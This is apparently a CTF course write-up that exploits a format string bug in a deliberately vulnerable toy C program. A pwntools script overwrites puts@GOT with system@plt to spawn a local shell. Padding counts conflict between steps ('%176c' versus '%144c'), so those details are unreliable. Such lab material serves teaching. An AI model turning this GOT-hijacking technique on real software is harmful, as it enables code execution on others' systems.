Simple PWN - 0x11(format string bug)

Simple PWN - 0x11(format string bug)

tags: CTF PWN eductf

format string bug background

printf %n

Original Code

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    char fmt[0x20];

    system("echo 'Give me fmt: '");
    read(0, fmt, 0x20);
    printf(fmt);

    system("echo 'Give me string: '");
    read(0, fmt, 0x20);
    puts(fmt);

    return 0;
}
$ gcc -o fmt fmt.c -no-pie -fno-stack-protector -z norelro -zexecstack
  • In this problem, we can consider to use format string bug to achieve GOT hijacking without buffer overflow.
  • The main idea is totally the same as GOT hijacking lecture
  • Thus, we can observe which function can be overlapped by system plt**`puts function`**
    • Because… puts just needs one argument like system function, but how about printf? Unfortunately, it appeared before 2nd read function, because 2nd read needs to store the argument for system function such as sh\x00.

Exploit - GOT hijacking + format string bug

Our goal is hijack puts GOT to system plt

  1. Find puts GOT address and system plt`0x403318` and `0x401090`
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
     $ objdump -d fmt
     ...
     0000000000401090 <system@plt>:
       401090:       f3 0f 1e fa             endbr64
       401094:       f2 ff 25 85 22 00 00    bnd jmp *0x2285(%rip) # 403320 <system@GLIBC_2.2.5>
       40109b:       0f 1f 44 00 00          nopl   0x0(%rax,%rax,1)
     ...
     $ gdb fmt
     ...
     pwndbg> attach <PID>
     pwndbg> got
    
     GOT protection: No RELRO | GOT functions: 5
    
     [0x403318] puts@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
     [0x403320] system@GLIBC_2.2.5 -> 0x7f87de291d60 (system) ◂— endbr64
     [0x403328] printf@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
     [0x403330] read@GLIBC_2.2.5 -> 0x7f87de355980 (read) ◂— endbr64
     [0x403338] setvbuf@GLIBC_2.2.5 -> 0x7f87de2c2670 (setvbuf) ◂— endbr64
     ...
    
  2. Construct format string - try and error
     r.sendafter("Give me fmt: ", b"%176c%8$hhn" + b"aaaaa" + p64(puts_got))
    

    從結果來看比較清楚

    • Parse b"%176c%8$hhn" + b"aaaaa" + p64(puts_got) Our goal is overlap puts GOT, so we put address of puts_got at final position, that is [%rsp + 16](format string: $8) We want to modify 0x401030 to 0x401090, so we just modify only 1 bytes(format string: %hhn). In addition, `0x90` is 144 as decimal.(format string: %176c) Combine all format sting: %176c%8$hhn and other space can pad trash bytes
  3. Pass the command to system function - sh\x00 to open shell
     r.sendafter("Give me string: ", "sh\x00")
    
  4. Finally, we got shell!!!
  • Whole exploit
      from pwn import *
    
      context.arch = 'amd64'
    
      r = process("./fmt")
      raw_input()
    
      puts_got = 0x403318
      system_plt = 0x401090
    
      r.sendafter("Give me fmt: ", b"%144c%8$hhn" + b"aaaaa" + p64(puts_got))
      r.sendafter("Give me string: ", "sh\x00")
    
      r.interactive()